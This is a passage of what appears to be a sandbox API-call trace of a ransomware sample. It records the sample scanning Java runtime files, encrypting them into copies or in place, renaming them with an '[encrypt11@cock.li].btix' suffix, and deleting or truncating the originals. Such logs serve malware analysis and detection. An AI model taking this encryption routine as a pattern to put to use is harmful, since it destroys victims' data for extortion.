68 [0152.273] lstrlenW (lpString=".dbf") returned 4 [0152.273] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.273] lstrlenW (lpString=".1cd") returned 4 [0152.273] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.273] lstrlenW (lpString=".jpg") returned 4 [0152.273] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.273] lstrlenW (lpString=".doc") returned 4 [0152.273] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString=".docx") returned 5 [0152.273] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.273] lstrlenW (lpString=".pdf") returned 4 [0152.273] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString=".xls") returned 4 [0152.273] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString=".xlsx") returned 5 [0152.273] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.273] lstrlenW (lpString=".ppt") returned 4 [0152.273] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.273] lstrlenW (lpString=".zip") returned 4 [0152.274] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.274] lstrlenW (lpString=".rar") returned 4 [0152.274] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.274] lstrlenW (lpString=".bz2") returned 4 [0152.274] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.274] lstrlenW (lpString=".7z") returned 3 [0152.274] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.274] lstrlenW (lpString=".dbf") returned 4 [0152.274] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.274] lstrlenW (lpString=".1cd") returned 4 [0152.274] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0152.274] lstrlenW (lpString=".jpg") returned 4 [0152.274] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.274] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.274] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0152.274] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.274] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=3285) returned 1 [0152.274] CloseHandle (hObject=0x368) returned 1 [0152.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0152.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.275] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.275] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.275] GetLastError () returned 0x0 [0152.275] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xcd5, lpOverlapped=0x0) returned 1 [0152.276] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xce0, lpOverlapped=0x0) returned 1 [0152.614] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.614] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x106, lpOverlapped=0x0) returned 1 [0152.614] SetEndOfFile (hFile=0x370) returned 1 [0152.614] CloseHandle (hObject=0x370) returned 1 [0152.614] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.614] SetEndOfFile (hFile=0x368) returned 1 [0152.615] CloseHandle (hObject=0x368) returned 1 [0152.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.615] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0152.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.615] lstrlenW (lpString=".doc") returned 4 [0152.616] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.616] lstrlenW (lpString=".docx") returned 5 [0152.616] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.616] lstrlenW (lpString=".pdf") returned 4 [0152.616] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.616] lstrlenW (lpString=".xls") returned 4 [0152.616] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.616] lstrlenW (lpString=".xlsx") returned 5 [0152.616] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.616] lstrlenW (lpString=".ppt") returned 4 [0152.616] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.616] lstrlenW (lpString=".zip") returned 4 [0152.616] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.616] lstrlenW (lpString=".rar") returned 4 [0152.616] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.616] lstrlenW (lpString=".bz2") returned 4 [0152.616] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.616] lstrlenW (lpString=".7z") returned 3 [0152.616] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.616] lstrlenW (lpString=".dbf") returned 4 [0152.617] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.617] lstrlenW (lpString=".1cd") returned 4 [0152.617] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.617] lstrlenW (lpString=".jpg") returned 4 [0152.617] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.617] lstrlenW (lpString=".doc") returned 4 [0152.617] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString=".docx") returned 5 [0152.617] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.617] lstrlenW (lpString=".pdf") returned 4 [0152.617] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString=".xls") returned 4 [0152.617] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString=".xlsx") returned 5 [0152.617] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.617] lstrlenW (lpString=".ppt") returned 4 [0152.617] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.617] lstrlenW (lpString=".zip") returned 4 [0152.617] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString=".rar") returned 4 [0152.617] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString=".bz2") returned 4 [0152.617] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.617] lstrlenW (lpString=".7z") returned 3 [0152.618] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.618] lstrlenW (lpString=".dbf") returned 4 [0152.618] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.618] lstrlenW (lpString=".1cd") returned 4 [0152.618] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0152.618] lstrlenW (lpString=".jpg") returned 4 [0152.618] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.618] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0152.618] lstrlenW (lpString="localedata.jar") returned 14 [0152.618] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.618] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2204781) returned 1 [0152.618] CloseHandle (hObject=0x368) returned 1 [0152.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0152.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0152.621] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.621] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1 [0152.621] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.621] ReadFile (in: hFile=0x368, lpBuffer=0x436a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x436a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.631] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.631] ReadFile (in: hFile=0x368, lpBuffer=0x43aa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43aa058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.636] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.637] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.637] ReadFile (in: hFile=0x368, lpBuffer=0x43ea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43ea058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0153.146] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.146] WriteFile (in: hFile=0x368, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x379fca8, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0153.157] SetEndOfFile (hFile=0x368) returned 1 [0153.157] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x41d2970 [0153.160] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.160] WriteFile (in: hFile=0x368, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.161] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.161] WriteFile (in: hFile=0x368, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.163] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.163] WriteFile (in: hFile=0x368, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.165] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.165] CloseHandle (hObject=0x368) returned 1 [0153.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.165] lstrlenW (lpString=".doc") returned 4 [0153.165] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.165] lstrlenW (lpString=".docx") returned 5 [0153.165] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0153.165] lstrlenW (lpString=".pdf") returned 4 [0153.165] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.165] lstrlenW (lpString=".xls") returned 4 [0153.165] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.165] lstrlenW (lpString=".xlsx") returned 5 [0153.165] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0153.165] lstrlenW (lpString=".ppt") returned 4 [0153.165] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.165] lstrlenW (lpString=".zip") returned 4 [0153.166] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.166] lstrlenW (lpString=".rar") returned 4 [0153.166] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.166] lstrlenW (lpString=".bz2") returned 4 [0153.166] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.166] lstrlenW (lpString=".7z") returned 3 [0153.166] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.166] lstrlenW (lpString=".dbf") returned 4 [0153.166] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.166] lstrlenW (lpString=".1cd") returned 4 [0153.166] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.166] lstrlenW (lpString=".jpg") returned 4 [0153.166] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.166] lstrlenW (lpString=".doc") returned 4 [0153.166] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.166] lstrlenW (lpString=".docx") returned 5 [0153.166] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0153.166] lstrlenW (lpString=".pdf") returned 4 [0153.166] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.166] lstrlenW (lpString=".xls") returned 4 [0153.166] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.166] lstrlenW (lpString=".xlsx") returned 5 [0153.166] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0153.166] lstrlenW (lpString=".ppt") returned 4 [0153.167] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.167] lstrlenW (lpString=".zip") returned 4 [0153.167] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.167] lstrlenW (lpString=".rar") returned 4 [0153.167] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.167] lstrlenW (lpString=".bz2") returned 4 [0153.167] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.167] lstrlenW (lpString=".7z") returned 3 [0153.167] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.167] lstrlenW (lpString=".dbf") returned 4 [0153.167] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.167] lstrlenW (lpString=".1cd") returned 4 [0153.167] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0153.167] lstrlenW (lpString=".jpg") returned 4 [0153.167] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.167] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0153.167] lstrlenW (lpString="nashorn.jar") returned 11 [0153.167] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0153.168] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2022734) returned 1 [0153.168] CloseHandle (hObject=0x368) returned 1 [0153.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0153.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0153.169] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0153.169] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1 [0153.169] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0153.169] ReadFile (in: hFile=0x368, lpBuffer=0x436a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x436a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0153.458] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xa49c4, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0153.458] ReadFile (in: hFile=0x368, lpBuffer=0x43aa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43aa058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0153.487] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.487] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1add4e, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0153.487] ReadFile (in: hFile=0x368, lpBuffer=0x43ea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43ea058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0153.554] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.554] WriteFile (in: hFile=0x368, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x379fca8, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0153.574] SetEndOfFile (hFile=0x368) returned 1 [0153.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x41d2970 [0153.630] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.630] WriteFile (in: hFile=0x368, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.632] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xa49c4, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.632] WriteFile (in: hFile=0x368, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.634] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1add4e, lpNewFilePointer=0x0, 